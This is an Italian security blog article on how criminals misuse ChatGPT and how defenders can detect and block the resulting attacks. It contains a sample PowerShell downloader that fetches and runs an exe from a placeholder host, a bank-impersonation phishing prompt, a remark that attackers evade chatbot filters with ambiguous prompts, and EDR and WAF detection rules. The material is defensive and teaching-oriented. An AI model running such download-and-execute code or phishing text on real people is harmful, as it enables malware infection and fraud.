Come i cybercriminali usano ChatGPT (e come puoi usarlo meglio tu)

Un’analisi delle tecniche d’abuso dell’AI e degli strumenti per migliorare l’hacking etico usando prompt, script e automazioni.

📜Responsabilità etica

Questo articolo ha uno scopo puramente educativo e informativo. Non intende promuovere né giustificare attività illegali o dannose. Ogni attività di penetration testing deve essere svolta solo in ambienti controllati e con autorizzazione scritta.

Introduzione

Viviamo in un’epoca in cui l’intelligenza artificiale, un tempo relegata a fantascienza e laboratori segreti, ora è a portata di click. ChatGPT et similia non sono solo strumenti utili: sono come delle bacchette magiche che, nelle mani giuste, aprono porte straordinarie – ma in quelle sbagliate possono scatenare qualche piccolo “incantesimo” indesiderato, o persino delle guerre. Non sorprende, dunque, che i cybercriminali abbiano subito fiutato il suo potenziale: perché fare fatica scrivendo un e-mail di phishing scadente quando un’AI può farlo per e meglio di te, in modo elegante, persuasivo e privo di errori grammaticali? La tecnologia è uno specchio: riflette ciò che noi siamo ed amplifica ciò che scegliamo di mostrare. Nel 2023 abbiamo assistito a campagne di attacchi che sembrano più opere d’arte testuali che brutali tentativi di intrusione. E, mentre ci stupiano di quanto l’AI possa ingannare anche i più attenti, è nostro compito scoprire come trasformare questo specchio in uno scudo per Medusa e proteggerci dal suo sguardo letale. In questo articolo scopriremo come i criminali digitali sfruttano ChatGPT e, soprattutto, come tu puoi usare lo stesso tipo di magia per proteggerti e non per distruggere.

Come i cybercriminali abusano di ChatGPT

Phishing e social engineering potenziati

Una delle applicazioni più immediate per scopi malevoli è la scrittura di email di phishing estremamente realistiche. Con un semplice prompt, un attaccante può generare messaggi ben scritti, senza errori grammaticali, su misura per vittime di lingua diversa, aumentando drasticamente l’efficacia delle truffe online.

Esempio di prompt: “Scrivi un’email formale che sembri provenire dalla banca X, chiedendo alla vittima di aggiornare le credenziali online.”

Come riconoscere un’email sospetta (per uso formativo)

Le email di phishing generate con AI sono sempre più sofisticate e difficili da distinguere da messaggi legittimi. Tuttavia, esistono ancora segnali e strumenti che puoi usare per difenderti efficacemente.

Segnali comuni di phishing
  • Link sospetti o accorciati: URL che non corrispondono al dominio ufficiale o che usano servizi di riduzione (es. bit.ly) per nascondere la destinazione reale.
  • Senso di urgenza o minaccia: messaggi che spingono a compiere azioni immediate, come aggiornare password o fornire dati personali.
  • Errori grammaticali o stilistici sottili: anche se l’AI migliora la qualità dei testi, qualche incoerenza o espressione poco naturale può emergere.
  • Richieste di informazioni sensibili: banche e aziende serie non chiedono mai password o dati riservati via email.
Strumenti e metodi per l’analisi tecnica
  • Verifica dei link in sandbox: Usa servizi come VirusTotal URL Scanner o URLVoid per analizzare la reputazione e la sicurezza degli URL prima di cliccarli.
  • Analisi header email: Controlla i dettagli tecnici dell’email (intestazioni, mittente, server di invio) per individuare anomalie o falsificazioni (spoofing). Strumenti come MXToolbox Email Header Analyzer sono molto utili.
  • Browser in modalità privata o sandbox: Aprire i link sospetti in ambienti isolati o virtualizzati può prevenire infezioni accidentali.
  • Autenticazione email: Controlla che le email rispettino standard come SPF, DKIM e DMARC; la loro assenza o configurazione errata può indicare un mittente falso.
Consigli pratici per l’utente
  • Non cliccare mai link o allegati da email non richieste o sospette.
  • Se hai dubbi, contatta direttamente l’azienda o l’ente attraverso canali ufficiali (telefono, sito web).
  • Aggiorna regolarmente password e usa l’autenticazione a due fattori (2FA).
  • Mantieni aggiornati antivirus e software di sicurezza.

Codice malevolo e script automatizzati

Anche se ChatGPT ha filtri che cercano di bloccare richieste pericolose, i cybercriminali trovano modi per “ingannare”, o aggirare, il sistema con prompt ambigui. In alcuni casi riescono a generare script PowerShell, batch o Python che eseguono attività potenzialmente dannose, come il download di payload da server remoti o la modifica di registri di sistema.

⚠️ Contesto: Esempio per Formazione o Analisi di Sicurezza

Scenario: Uno script PowerShell scarica un file da un URL e lo salva localmente. Questo comportamento è tipico di un downloader, ovvero uno script usato per recuperare un payload (che potrebbe essere malware).

Esempio (versione sicura e neutra):

# Script educativo: dimostra un comportamento tipico di un downloader
# NON CONTIENE URL REALI NÉ FILE DANNOSI

$url = "http://example.com/fakepayload.exe"   # URL potenzialmente malevolo (esempio fittizio)
$output = "$env:TEMP\payload.exe"

# Scarica il file (simulazione)
Invoke-WebRequest -Uri $url -OutFile $output

# Esegue il file scaricato (solo a scopo illustrativo — pericoloso!)
Start-Process $output

🛑 Nota di sicurezza: Anche se questo script è solo a scopo illustrativo e usa URL fittizi, evita di eseguire direttamente codice che contiene Start-Process, soprattutto se copiato in ambienti reali. Rimuovi o commenta le linee di esecuzione per prevenirne l’uso accidentale.

Analisi per un uso difensivo
  • Comportamento da monitorare nei log di sistema o strumenti EDR:
    • Uso di Invoke-WebRequest
      🔍 Monitoraggio:
      • Eventi di PowerShell (Log di Windows):
        Attiva il PowerShell Logging e Script Block Logging tramite GPO:
        Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging
        Controlla i log in:
      • EDR come Defender for Endpoint, CrowdStrike, SentinelOne, ecc. tracciano comandi PowerShell: puoi impostare regole di alert su comandi contenenti Invoke-WebRequest, iwr, o chiamate a URL sospetti.
      • Abilita il monitoraggio file system con:
      • Salvataggio di file eseguibili nella cartella temporanea
        🔍 Monitoraggio:
        Abilita il monitoraggio file system con:
        • Audit File System tramite GPO
        • Imposta il logging su:
          %TEMP%*.exe
          %APPDATA%*.exe
          C:\Users*\AppData\Local\Temp*.exe
        • Monitora eventi ID:
          4663 (tentativi di scrittura o creazione file)
        • EDR – Imposta regole su:
          • Creazione .exe in percorsi temporanei
          • Firma digitale mancante/sconosciuta
          • Creazione ed esecuzione ravvicinate
    • Start-Process su file scaricati da Internet
      🔍 Monitoraggio:
      • PowerShell script block logging aiuta a vedere quando viene usato Start-Process.
      • Monitora comandi che fanno partire .exe da cartelle tipo %TEMP%, %APPDATA%.
        Eventi da controllare – 4688 (New Process Creation)
        • Monitora ParentImage = powershell.exe
        • Monitora NewProcessName = qualcosa in Temp o AppData
  • Possibili mitigazioni:
    • Bloccare PowerShell in modalità non interattiva per utenti non amministratori
      • Usa AppLocker o Windows Defender Application Control (WDAC) per limitare PowerShell:
        • Consenti solo a amministratori di usare powershell.exe e powershell_ise.exe.
        • Blocca uso di powershell.exe -Command, -EncodedCommand, ecc., per utenti standard.
    • Utilizzare AppLocker o Defender Application Control
      • AppLocker:
        • Crea regole per:
          • Bloccare .exe da Temp o AppData
          • Permettere solo eseguibili firmati digitalmente
      • WDAC:
        • Richiede più configurazione ma è più potente e robusto
        • Puoi applicare regole in modalità audit prima di attivarle
    • Monitorare chiamate a Invoke-WebRequest in contesti anomali
      • Crea alert nel SIEM o EDR:
      • Quando viene eseguito Invoke-WebRequest da utenti standard
      • Quando PowerShell accede a domini sconosciuti
      • Quando il comando scarica un file ed è seguito da Start-Process
Suggerimenti aggiuntivi
  • Defender ASR rules (Attack Surface Reduction):
    • Abilita la regola: “Block all Office applications from creating child processes”
      “Use advanced protection against ransomware”
  • Microsoft Defender for Endpoint ha regole integrate che bloccano questo tipo di attività.
  • Disabilita PowerShell v2 (spesso usato per bypassare logging):
    Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
Prompt educativo per ChatGPT

Prova ad aprire ChatGPT e chiedere quanto segue:

“Spiegami come funziona uno script PowerShell che scarica un file da Internet e lo esegue. Aiutami a scrivere una regola di sicurezza per bloccare comportamenti simili.”

🛡️ Guida semplificata per principianti

1. Attivare lo Script Block Logging
  • Vai in gpedit.mscComputer Configuration > Administrative Templates > Windows Components > Windows PowerShell.
  • Apri la voce “Turn on PowerShell Script Block Logging”, seleziona Enabled e attiva anche l’opzione per loggare l’inizio/fine dei blocchi di script.
  • Servirà per registrare nei log tutti i comandi PowerShell inseriti, anche quelli offuscati.
2. Abilitare il Module Logging
  • Sempre in gpedit.msc, nella stessa sezione PowerShell, attiva “Turn on Module Logging”.
  • Nella finestra Opzioni, fai clic su Show… e inserisci * per loggare tutti i moduli.
    ℹ️ Attenzione: L’uso di * genera log molto dettagliati, con potenziale impatto su performance e spazio disco. In ambienti di produzione, considera di specificare solo moduli critici (es. PowerShellGet, Invoke-WebRequest, ecc.) o di testare prima in ambienti isolati.
3. Avviare la Transcription
  • Sempre in PowerShell → GPO, attiva “Turn on PowerShell Transcription”.
  • Questa opzione crea un file di log con comandi e output, salvato in una cartella a tua scelta.
4. Disabilitare/Limitare PowerShell per utenti non admin (via AppLocker)
  • Attiva e configura il servizio Application Identity (AppId) in System Services per usare AppLocker.
  • Crea regole per bloccare l’esecuzione di PowerShell (powershell.exe, cmd.exe, ecc.) per utenti standard.
5. Rivedere i risultati nei log
  • Apri Event Viewer (eventvwr.msc) → Applications and Services LogsMicrosoftWindowsPowerShellOperational.
  • Qui troverai i log generati da Script Block Logging, Module Logging e Transcription, utili per rilevare operazioni sospette.
Riepilogo delle operazioni
StepCosa farePerché è utile
1Script Block LoggingRegistra tutti i comandi eseguiti
2Module LoggingRegistra i comandi eseguiti dai moduli
3TranscriptionLog completo tra input e output
4AppLocker (opzionale)Blocca l’uso non autorizzato di PowerShell
5Controllo nei logAnalisi chiara di eventuali attività sospette

Chatbot per truffe automatiche

Alcuni attori malevoli stanno sperimentando chatbot automatizzati capaci di simulare conversazioni umane per truffare utenti tramite app di messaggistica o siti web. Questi bot, se alimentati da modelli linguistici avanzati, riescono a mantenere un dialogo credibile e ad aumentare il tempo di “engagement” con la vittima.

Localizzazione e traduzione di contenuti pericolosi

Un altro uso comune è la traduzione rapida di contenuti fraudolenti, come messaggi phishing, in decine di lingue. Ciò consente ai criminali di scalare i propri attacchi a livello globale senza dover conoscere le lingue target.

Perché questi abusi funzionano

  • Accessibilità: strumenti come ChatGPT sono pubblici, gratuiti (o economici) e facili da usare.
  • Potenza linguistica: i testi generati sono realistici, coerenti e adattabili a vari contesti.
  • Automazione: si possono generare rapidamente migliaia di versioni diverse di un attacco.
  • Riduzione delle barriere tecniche: chi ha poca esperienza può comunque creare contenuti dannosi.

Come usare ChatGPT in modo etico per la cybersecurity

L’AI non è solo uno strumento nelle mani dei criminali: può diventare una risorsa potente per ethical hacker, sysadmin e analisti di sicurezza.

Prompt per penetration testing (con autorizzazione)

Puoi usare ChatGPT per simulare attacchi su ambienti controllati:

“Simula una SQL injection su un form di login vulnerabile e spiega come rilevarla.”

Importante: I modelli linguistici come ChatGPT bloccano risposte con codice offensivo diretto. Per scopi educativi, è consigliabile descrivere il comportamento in termini generali o affiancare ChatGPT a strumenti come Burp Suite o sqlmap in ambienti di test autorizzati.

🛠 Analisi di exploit e script

ChatGPT può spiegare codice sospetto, aiutando nella reverse engineering e nella comprensione di exploit pubblici:

“Analizza questo script Python e spiegami se può essere usato per esfiltrare dati.”

📊 Automazioni e monitoraggio

Prompt 1:
"Scrivi un report tecnico che descrive un attacco XSS scoperto su un'applicazione web, con raccomandazioni per mitigarla."

Prompt 2:
"Genera uno script Python che legge i log Apache e segnala IP con più di 100 richieste in 5 minuti."

Prompt 3:
"Simula una conversazione di social engineering tra un attaccante e una vittima, da usare in un corso di cybersecurity.

Mitigazioni tecniche per script PowerShell e attività malevole

Gli script PowerShell possono essere usati legittimamente per amministrare sistemi, ma rappresentano anche un vettore molto usato dagli attaccanti per scaricare ed eseguire payload dannosi. Per questo, è fondamentale implementare regole di sicurezza che individuino e blocchino comportamenti anomali.

1. Monitoraggio e blocco di comandi sospetti con EDR

Gli Endpoint Detection and Response (EDR) permettono di creare regole personalizzate per rilevare azioni tipiche di attacchi, ad esempio:

  • Uso di Invoke-WebRequest o Invoke-RestMethod per scaricare file
  • Salvataggio di eseguibili in cartelle temporanee
  • Esecuzione di file scaricati tramite Start-Process
Esempio di regola pseudocodice per EDR:
IF process.name == "powershell.exe" OR process.name == "pwsh.exe"
AND (command_line CONTAINS "Invoke-WebRequest" OR command_line CONTAINS "Invoke-RestMethod")
THEN alert("Download di file da URL sospetta rilevato")

IF process.name == "powershell.exe"
AND command_line CONTAINS "-OutFile" 
AND output_path MATCHES "*\AppData\Local\Temp\*" OR "*\Temp\*"
THEN alert("Scrittura di file eseguibili in cartelle temporanee")

IF process.name == "powershell.exe"
AND command_line CONTAINS "Start-Process"
AND argument_path MATCHES "*\Temp\*"
THEN alert("Esecuzione sospetta di file da cartelle temporanee")
2. Regole di blocco su WAF (Web Application Firewall)

Se l’attacco include script o payload trasmessi via web, un WAF configurato correttamente può bloccare richieste contenenti pattern pericolosi.

Esempio di regola semplificata per WAF (ModSecurity o simili):
SecRule REQUEST_BODY "@rx (Invoke-WebRequest|Start-Process|DownloadFile)" \
    "id:10001,phase:2,deny,status:403,msg:'Blocco comando PowerShell sospetto nel corpo della richiesta'"

Questa regola blocca qualsiasi richiesta HTTP che contiene comandi tipici di PowerShell usati per download o esecuzione di file.

⚠️ Nota tecnica: I pattern usati in questa regola possono intercettare anche tool legittimi o scanner automatici. Per evitare falsi positivi, valuta l’uso di whitelisting IP, soglie di trigger o l’applicazione della regola solo in determinati endpoint o contesti.

3. Ulteriori misure di mitigazione
  • Limitare l’uso di PowerShell in modalità interattiva solo ad amministratori autorizzati
  • Applicare Application Control (es. AppLocker, Windows Defender Application Control) per consentire solo script firmati
  • Abilitare la modalità Constrained Language in PowerShell per limitare le funzionalità agli script
  • Monitorare i log di sistema e generare alert su comportamenti anomali

L’implementazione combinata di regole di rilevamento specifiche su EDR e WAF, unitamente a politiche di controllo rigorose su PowerShell, consente di ridurre drasticamente il rischio che script malevoli scarichino ed eseguano payload dannosi. La chiave è mantenere un equilibrio tra sicurezza e operatività, affinando continuamente le regole con analisi dei falsi positivi.

Conclusione

L’intelligenza artificiale non è un nemico da temere, ma una potente alleata da conoscere e guidare con responsabilità. Mentre i cybercriminali affinano le loro tecniche sfruttando queste nuove tecnologie, la vera forza sta nel sapere come usarle per difendere, innovare e crescere.

Ti invito quindi a sperimentare con AI in modo etico: prova a costruire prompt che migliorino la sicurezza, a esplorare tool open source e a partecipare attivamente a community di cybersecurity dove condividere conoscenze e scoperte. Non dimenticare di investire nella tua formazione con corsi specializzati, webinar e workshop — perché in un mondo in continua evoluzione, la preparazione è la miglior difesa.

Ricorda: l’AI è uno specchio della nostra intelligenza e dei nostri valori. Usala per riflettere il meglio di te, e contribuisci a costruire un futuro digitale più sicuro per tutti.

Riferimenti e risorse utili

Linee guida ufficiali e whitepaper

Tool open source per penetration testing e sicurezza

Risorse per approfondire l’AI nella cybersecurity

Questo nodo della rete è alimentato da conoscenza libera e caffeina.
Se hai trovato qualcosa di utile, puoi supportarci con un caffè digitale.
👉 Offrimi un caffè

Lascia un commento